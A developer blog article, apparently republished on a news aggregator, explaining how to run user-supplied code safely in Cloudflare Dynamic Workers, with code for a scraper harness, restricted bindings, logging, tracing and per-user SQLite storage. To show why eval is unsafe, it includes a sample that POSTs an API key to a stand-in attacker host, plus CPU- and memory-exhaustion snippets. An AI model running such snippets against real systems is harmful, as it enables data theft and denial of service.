cd /news/developer-tools/working-with-dynamic-workers · home topics developer-tools article
[ARTICLE · art-101438] src=jeremymorrell.dev ↗ pub= topic=developer-tools verified=true sentiment=· neutral

Working with Dynamic Workers

Cloudflare launched Dynamic Workers, a new primitive for spinning up isolated Cloudflare Workers with a single call, enabling safe execution of arbitrary user code. The feature addresses limitations of eval by providing separate execution threads, memory isolation, and restricted access, and can be used to make web apps programmable by end users.

read19 min views1 publishedAug 18, 2026
Working with Dynamic Workers
Image: Jeremymorrell (auto-discovered)

Cloudflare recently launched Dynamic Workers as a new primitive that is a bit lighter weight than Workers for Platforms. Most of the marketing has, understandably, focused on Agents and code mode, a way of letting an LLM agent safely run arbitrary code in tiny ephemeral sandboxes that has some strong benefits over more limited MCP tool calls: reductions in context, composability, etc.

I’m a bit more interested in how they can enable web apps to become programmable by the end user. You can find my full thoughts here, but I thought a more code-level walkthrough of how you can build with them would be a useful companion piece. 1

Overview# #

Dynamic Workers allow you to spin up a new Cloudflare Worker with a single call. Call it once, or dozens of times. Create millions of them if you need. They are really cheap, spin up quickly, and provide a good security boundary so you can safely run arbitrary code.

In the simplest case a new worker and executing it looks like this:

const worker = env..load({
  compatibilityDate: "2026-06-28",
  mainModule: "src/index.js",
  modules: {
	"src/index.js": `
	  export default add(a, b) {
	    return a + b;
	  };
	`,
  },
});

let response = worker.getEntrypoint().add(1, 2);

Not your parents’ eval #

#

Dynamic Workers sound a lot like eval

but they avoid some important gotchas that you’ll run into face-first if you try to execute user-provided code.

Shares the same thread of execution#

eval("while (true) {}");

The eval

’d code can do basically anything, and you can’t pre-empt it from your own code. A single bad input can take down your whole server, or simply steal your CPU cycles to mine crypto.

Shares memory with your code#

eval(`
  const hog = [];
  while (true) {
    hog.push(new Array(1_000_000).fill("x"));
  }
`);

Again, your service is taken down by a single bad input.

Access to outer state#

function chargeUser(userId) {
  let amount = 10;
  let approved = false;

  eval(`
    amount = 0.01;
    approved = true;
  `);

  console.log(`Charging user ${userId}: $${amount}, approved=${approved}`);
  if (approved) processPayment(userId, amount);
}

eval

gives access to everything in local scope. You can restrict this to the global object by running globalThis.eval(code)

, but that’s still a lot of access.

Access to network#

eval(`
  fetch("https://attacker.example.com/exfil", {
    method: "POST",
    body: JSON.stringify({ secret: apiKey })
  })
`);

If the eval

’d code does have access to any sensitive data, it can easily send it anywhere.

Dynamic Workers# #

Cloudflare Workers already have to deal with all of this (and much more) at a massive, global scale, and Dynamic Workers get the benefit of all of those years of hardening.

Setup#

Let’s imagine an app that can scrape web pages on behalf of a user, but the user gets to configure what they care about. We’d like to maximize the flexibility of what the user could feasibly do, but at the same time, we need to make sure that there are reasonable limits in place. We don’t want our service used as a DoS machine.

With that in mind, we’re going to work with the following contract. The actual scraping is handled by the system, and then the user can provide a single transform

function. It receives the contents scraped from a url, and can return a markdown string and / or an arbitrary JSON result.

// user provides this function
export default async function transform(env: Env, input: Input): Promise<Result> {
	// so much room for activities!
}

with these types:

export type Env = {
  // empty for now
}

export type Input = {
	url: string;
	finalUrl: string;
	status: number;
	contentType: string;
	responseHeaders: Map<string, string>;
	body: string;
	truncated: boolean;
};

export type Result = {
	json?: unknown;
	markdown?: string;
}

We’ll capture this code from the user as user.js

, which we can wrap in a harness. A simplified version of a harness would import the function we expect the user to export. We aren’t really gaining anything over running the user’s function directly yet, but it gives us a place to add our own logic.

import { WorkerEntrypoint, DurableObject } from 'cloudflare:workers';
import transform from './user.js';

export default class Harness extends WorkerEntrypoint {
	async run(env, input) {
		return transform({}, input);
	}
}

And now we can load the final worker and pass it an input!

const payload = fetchPayload(submittedUrl);

const worker = env..load({
  compatibilityDate: "2026-06-28",
  mainModule: "index.js",
  modules: {
    "user.js": userSubmittedCode,
    "index.js": harnessCode,
  },
});

let response = worker.getEntrypoint().run(env, payload);

This is simplified for the example. A real example will need to deal with more concerns such as error handling, compiling and bundling typescript, naming the script so that repeated invocations use a cached version, permissions, limits, and more, but this is enough for us to get started.

A more complete example can be found in the repo for this blog post.

Now, let’s see what we can build with the setup we’ve created.

Basic Example# #

One useful thing to do with a web page is to pull out the Open Graph meta tags. These are html tags that are not rendered, but are frequently used to generate preview links for social media.

<meta property="og:url" content>
<meta property="og:title" content="Wikipedia, the free encyclopedia">
<meta property="og:type" content="website">
<meta property="og:description" content="Wikipedia is a free online encyclopedia, created and edited by volunteers around the world and hosted by the Wikimedia Foundation.">
<meta property="og:image" content="https://upload.wikimedia.org/wikipedia/en/thumb/8/80/Wikipedia-logo-v2.svg/250px-Wikipedia-logo-v2.svg.png">

Given our harness code, this is straightforward to write using regex. You can run this on any url you would like.

Remember, this code is running on Cloudflare’s infrastructure! Not locally in your browser. Note that some sites may block cloud browsers and will not work.

Another very common task is converting the contents of the site as markdown. We don’t have to write that ourselves. If we add a build process to bundle dependencies, we can use the defuddle library to handle this for us, and allow our user to bring in dependencies from npm.

The input does not have to be an HTML page. This example transforms a Hacker News API response into a summary of its top-scoring comments.

CPU and communication limits# #

Because this user code is running on a Cloudflare Worker, we can modify our ``

options and enforce fine-grained limits on CPU usage and disable network access entirely.

const worker = env..load({
  // ...

  // disable fetch
  globalOutbound: null,
  // set a bound on CPU time
  limits: {
    cpuMs: 50,
  },
});

An infinite loop is no problem.

Trying to sneak in a fetch

call? Nope, can’t do that!

Passing in your own bindings# #

A function that can only return a value can be useful sometimes, but what if we need the user to be able to take some action? or if they need some additional tools?

That’s why we have the env

parameter in our example. We can decide on functionality that the user might need and pass it in to them. If you are familiar with the way Cloudflare Worker Bindings work, it’s very similar. Except instead of exposing a SQL or KV interface, we get to choose our own!

The easiest thing might be to pass a Cloudflare binding straight through. Let’s say we’ve used Workers for Platforms to generate a KV namespace for each user. We might pass it through like this:

export default class Harness extends WorkerEntrypoint {
	async run(env, input) {
	  const userEnv = {
			KV: getKVForUser(env.USER_ID),
		};
		return transform(userEnv, input);
	}
}

And from the user’s perspective it’s like they get a normal KV binding, because we just gave them a reference to one.

export default async function transform(env: Env, input: Input): Promise<Result> {
  // The user gets the userEnv we've passed through as an argument and can
  // invoke it like any normal KV binding
  let result = await env.KV.get(input.url);
  // ...
}

We may not want to give our user free rein over using a KV call, so we may wish to wrap it in our own logic. We can add a rate limiter, or even enforce that it can only be called a limited number of times within a single invocation. We’re building our own platform, and we can decide what limits make sense.

// This is a admittedly a little contrived
function wrapKV(kv: KVNamespace, maxOperations = 5) {
  let operations = 0;

  function consumeOperation() {
    if (operations >= maxOperations) {
      throw new Error(
        `KV operation limit exceeded (maximum ${maxOperations} per invocation)`,
      );
    }
    operations += 1;
  }

  return Object.freeze({
    async get(key: string) {
      consumeOperation();
      return kv.get(key);
    },

    async put(key: string, value: string) {
      consumeOperation();
      return kv.put(key, value);
    },

    async delete(key: string) {
      consumeOperation();
      return kv.delete(key);
    },
  });
}

export default class Harness extends WorkerEntrypoint {
	async run(env, input) {
	  const userEnv = {
			KV: wrapKV(getKVForUser(env.USER_ID)),
		};
		return transform(userEnv, input);
	}
}

Because wrapKV

is called inside run

, each invocation gets a fresh counter. The user receives only the three methods we explicitly expose, and every operation shares the same five-call budget.

If you provide an HTTP API to the user and then try to enforce constraints like this in an HTTP proxy it would be significantly harder to encode that logic in something that doesn’t share any state with the invocation.

New writing, occasionally. #

Get my posts in your inbox. No fixed schedule, no noise.

Creating your own bindings# #

So far we’ve passed in platform bindings, but they are just modules (or RpcTarget

’s, which we can treat as module reference), we don’t have to use platform bindings, we can create our own!

The next logical feature for our little scraper is to be able to spider off to other pages. The easiest thing to do would be to re-introduce fetch

. This… would work, but then we lose the guarantees we would like our platform to provide. Someone could start using us to DoS, or if we ever allow sensitive user data into this function, the user’s code could POST

it wherever they liked.

One reasonable approach might be to pass env.fetch

but wrap it and enforce some logic:

function wrapFetch(originalFetch: typeof fetch, domain: string) {
  const allowedHostname = domain.toLowerCase().replace(/\.$/, "");

  return async function restrictedFetch(
    input: RequestInfo | URL,
    init?: RequestInit,
  ): Promise<Response> {
    const request = new Request(input, init);
    const url = new URL(request.url);

    if (request.method !== "GET") {
      throw new Error(`Only GET requests are allowed, got ${request.method}`);
    }

    const hostname = url.hostname.toLowerCase().replace(/\.$/, "");
    if (hostname !== allowedHostname) {
      throw new Error(
        `Requests to ${hostname} are not allowed; expected ${allowedHostname}`,
      );
    }

    return originalFetch(request);
  };
}

This is better! But the user could likely still misuse this if they’re clever.

The core idea is that we are exposing capabilities to the users code, and that comes with a whole lot of theories and precedent that I am honestly still learning and not yet qualified to teach.

However LLMs know this space pretty well! You can shift into that latent space by giving them the magic phrase: “think of this from an OCaps perspective” plus a description of the problem you’d like to solve.

My LLM comes up with the following alternative design.

Instead of letting the user give us arbitrary urls, we can parse urls out of the page that they requested. For each url in the html we can provide them with a ResourceCapability

.

const articleUrl = "https://example.com/article";

// Merely knowing this URL is not enough. The lookup succeeds only if the
// requested page actually contained this exact URL and the host granted it.
const article = env.resources?.get(articleUrl);
if (!article) {
  throw new Error(`The page did not grant access to ${articleUrl}`);
}

// read() takes no URL: this object is already bound to articleUrl.
const response = await article.read();

This allows the user to spider out from the requested page, but only in ways we control. We can add rate-limits, limit the number of scraped pages, or any other logic we can think of.

The full types are a bit of a doozy and may seem a bit awkward, however I promise you that LLMs find it really easy to write code against TypeScript definitions like this.

Note that this allows the user to get the raw bytes for any non-html files they might want to download. I’ll include some examples of this below.

type TransformEnv = {
  resources?: ReadonlyMap<string, ResourceCapability>;
};

type ResourceSource =
  | { kind: "html"; element: string; attribute: string }
  | { kind: "text" };

type ResourceDescriptor = {
  url: string;
  source: ResourceSource;
};

type ResourceCapability = ResourceDescriptor & {
  read(): Promise<ResourceResult>;
};

type ResourceResult = ResourceTextResult | ResourceBytesResult;

type ResourceTextResult = {
  kind: "text";
  status: number;
  contentType: string;
  body: string;
  truncated: boolean;
  resources: ReadonlyMap<string, ResourceCapability>;
};

type ResourceBytesResult = {
  kind: "bytes";
  status: number;
  contentType: string;
  bytes: Uint8Array;
  truncated: boolean;
};

One immediate example we could build would be pulling in the top N articles from an RSS feed:

O11y: logging# #

If we’re going to let users run their own code, they also need to be able to debug it. They’re going to reach for console.log

almost immediately, and we should capture those logs and feed them back. We can see our own worker logs in the Cloudflare Dashboard, but we can’t give our users access to our data!

Workers gives us a nice way to capture this telemetry data: a tail worker. A tail worker receives events from the Worker its attached to, including its logs and uncaught exceptions. We don’t need to change the user code at all.

We can attach the tail when we create the Dynamic Worker:

const tail = ctx.exports.LogTailer({
  props: { runId },
});

const worker = env..load({
  // compatibilityDate, mainModule, modules, limits, etc.
  // ...
  tails: [tail],
});

const result = await worker.getEntrypoint().run(input);

A minimal tail worker might look something like this:

import { WorkerEntrypoint } from "cloudflare:workers";

export class LogTailer extends WorkerEntrypoint<Env> {
  async tail(events: TraceItem[]) {
    const { runId } = this.ctx.props as { runId: string };

    for (const event of events) {
      for (const log of event.logs) {
        // Do something with the logs
        await this.env.LOGS.append(runId, {
          level: log.level,
          message: log.message.map(String).join(" "),
        });
      }

      for (const exception of event.exceptions) {
        // Do something with the exceptions
        await this.env.LOGS.append(runId, {
          level: "error",
          message: `${exception.name}: ${exception.message}`,
        });
      }
    }
  }
}

What you do with these events will depend on how you structure your app. Here LOGS

is a Durable Object for this particular run. Before we return the result to the browser we collect all of the logs that the DO has received.

Now the user’s normal console.log

calls are visible to our platform without needing to change the code at all. Check the RSS example below and notice the nice shiny logs tab after it returns a result.

O11y: tracing# #

If you’ve read much of my blog, you probably saw this coming. We gotta have tracing right?

Unfortunately Automatic Tracing does not yet support capturing spans in a tail worker, so this is a little more complicated than logging.

The key insight is that we’ve turned off all of the network connection, and control every action the user can take outside of pure computation. We can wrap each of these with our own instrumentation. Remember that spans are just ✨fancy logs✨? Check out my blog post on building your own tracing library if this doesn’t ring a bell.

This looks a bit verbose and scary, but I promise the logic is simple to follow. We’re basically running a function but tracking how long it takes, whether it threw an error, and some metadata.

async function traceIO<T>(
  tracer: Tracer,
  options: {
    name: string;
    parentSpanId?: string;
    attributes?: Record<string, unknown>;
  },
  operation: () => Promise<T>,
): Promise<T> {
  const spanId = crypto.randomUUID();
  const startedAt = performance.now();

  try {
    const result = await operation();
    tracer.add({
      spanId,
      parentSpanId: options.parentSpanId,
      name: options.name,
      start: startedAt,
      end: performance.now(),
      status: "ok",
      attributes: options.attributes,
    });
    return result;
  } catch (error) {
    tracer.add({
      spanId,
      parentSpanId: options.parentSpanId,
      name: options.name,
      start: startedAt,
      end: performance.now(),
      status: "error",
      attributes: {
        ...options.attributes,
        error: error instanceof Error ? error.message : String(error),
      },
    });
    throw error;
  }
}

Then we wrap the places where our platform does I/O. We’re manually propagating parentSpanId

here to keep the code simple (if a bit verbose). A more clever solution could use AsyncLocalStorage.

const input = await traceIO(
  tracer,
  { name: "target_fetch", parentSpanId: runSpanId, attributes: { url } },
  () => fetchTarget(url),
);

const result = await traceIO(
  tracer,
  { name: "", parentSpanId: runSpanId },
  () => worker.getEntrypoint().run(input),
);

const logs = await traceIO(
  tracer,
  { name: "logs_read", parentSpanId: runSpanId },
  () => getLogs(runId),
);

The result is small enough to return directly with the rest of the invocation response. Here’s the RSS example again:

Or we might want to fetch information about a GitHub repo:

wasm

support#

One of the benefits of working in V8 is that it supports wasm

“out-of-the-box”. Indeed, once we have built wasm bytecode, we can import it like any module and pass it to WebAssembly.instantiate(moduleName);

.

Potentially the simplest possible example is just using wasm

to add two numbers together:

But wasm

lets us do (almost) anything! Let’s process the images on the page using @cf-wasm/photon.

Or with the rise of LLMs there’s also been a rise of utilities to efficiently parse PDFs. liteparse is super lightweight and fits into a worker.

Let’s go from an arxiv.org title page, find the linked PDF, and extract the text.

Or capture some data about recently published papers in a particular field.

Storage w/ DO facets# #

The last thing our little platform is missing is memory. Every invocation so far has started from scratch, which is a fantastic default until we want to enable the user to store some data.

As we showed before, we could pass through a platform binding (KV, D1, etc), but then we are back to deciding how much of a platform binding we really want user code to have.

Instead we’ll expose one deliberately small capability:

type TransformEnv = {
  //...
  DB?: Database;
};

type Database = {
  readonly databaseSize: number;
  exec<T>(query: string, ...bindings: unknown[]): {
    toArray(): T[];
  };
};

You might want to read the official blog post for this one.

We really are giving user their own database. They can create tables, build indexes, and run arbitrary SQL, but only against the database attached to their own Durable Object facet. We still wrap exec()

so we can enforce limits that make sense for our platform.

What’s a facet? Honestly it’s a little confusing! We’re running a user’s code within a Durable Object that we control.

A normal Dynamic Worker entrypoint does not have durable storage attached to it, but facets let a Durable Object that we trust mount a class exported by the Dynamic Worker as a child. Each child facet gets its own isolated SQLite database.

Inside the Dynamic Worker bundle, our harness exports a storage-enabled Durable Object class. This should look familiar, except now it’s in a class and all stateful. The interface to the user doesn’t change however, we just pass it a wrapped reference to the DO storage.

export class StorageHarness extends DurableObject {
  async run(input: Input) {
    const userEnv = {
      DB: wrapDatabase(this.ctx.storage),
    };

    return transform(userEnv, input);
  }
}

Our trusted supervisor loads that class, mounts a facet for the current script, and forwards the invocation over RPC:

export class StorageHost extends DurableObject<Env> {
  async run(scriptId: string, code: WorkerCode, input: Input) {
    const worker = this.env..get(scriptId, () => code);

    const facet = this.ctx.facets.get(scriptId, async () => ({
      class: worker.getDurableObjectClass("StorageHarness"),
    }));

    return facet.run(input);
  }
}

The supervisor has its own database, and every facet has a separate database that the others cannot access. In this demo an anonymous ID generated by the browser chooses the supervisor, and the scriptId here changes every time you modify a script. The stores also expire after about an hour because this is a personal blog demo, and I don’t want a big surprise bill 😅.

Durable Objects have a size limit of 10GB that must be shared amongst all the facets. What if we don’t want each user to be able to store 10 whole gigabytes? We can enforce a smaller limit!

wrapDatabase()

runs each query inside transactionSync()

. After the query has run, we inspect both the cursor and sql.databaseSize

. Throwing rolls the whole query back:

function wrapDatabase(storage) {
  const { sql } = storage;

  return {
    get databaseSize() {
      return sql.databaseSize;
    },

    exec(query, ...bindings) {
      const sizeBefore = sql.databaseSize;

      return storage.transactionSync(() => {
        const cursor = sql.exec(query, ...bindings);
        const rows = cursor.toArray();

        // 128kb ought to be enough for anyone
        if (
          sql.databaseSize > 128 * 1024 &&
          sql.databaseSize > sizeBefore
        ) {
          throw new Error("database size quota exceeded");
        }

        return {
          rowsRead: cursor.rowsRead,
          rowsWritten: cursor.rowsWritten,
          toArray: () => rows,
        };
      });
    },
  };
}

The 128 KiB limit here is deliberately tiny. SQLite allocates space in pages, so the exact query that crosses it depends on the schema and data. Read-only queries still work, and writes that do not grow an already-oversized database remain available so user code can clean up.

From the user’s perspective none of that plumbing is visible. They can use SQLite normally:

env.DB.exec(`
  CREATE TABLE IF NOT EXISTS submissions (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    url TEXT NOT NULL
  )
`);

env.DB.exec(
  "INSERT INTO submissions (url) VALUES (?)",
  input.url,
);

return env.DB.exec(
  "SELECT url FROM submissions ORDER BY id",
).toArray();

Run the example with a few different URLs and each response will include everything you submitted before it. The state survives the Dynamic Worker invocation, but it remains scoped to this browser and this script. You can use Clear stored data to start over.

Write your own# #

I’ve been having you run my examples, but all of the widgets allow you to edit the code and run your own logic!

The editor below has all of the capabilities we’ve built up over the course of this post: it can follow links from the page, keep data in SQLite, write logs, and show you a trace of the I/O it performs.

There is also an LLM prompt tab with the full contract and type signatures. Describe what you want the transform to do, copy the prompt into your LLM of choice, then paste the result back into transform.ts

. Or, you know, write the code yourself. I hear some people are into that.

Wrapping up# #

Our little web scraper grew up quite quickly! We can spider across websites, process PDFs, and it even has its own (very smol) SQL database.

I don’t think every app needs its own code editor bolted on, but I think we are just scratching the surface of what web software could look like now that LLMs can knock out a feature on their own. If we craft our extension points carefully, we can let users (safely) vibe out and make your app their own. Check out my full thoughts here if you want the longer-version.

── more in #developer-tools 4 stories · sorted by recency
── more on @cloudflare 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/working-with-dynamic…] indexed:0 read:19min 2026-08-18 ·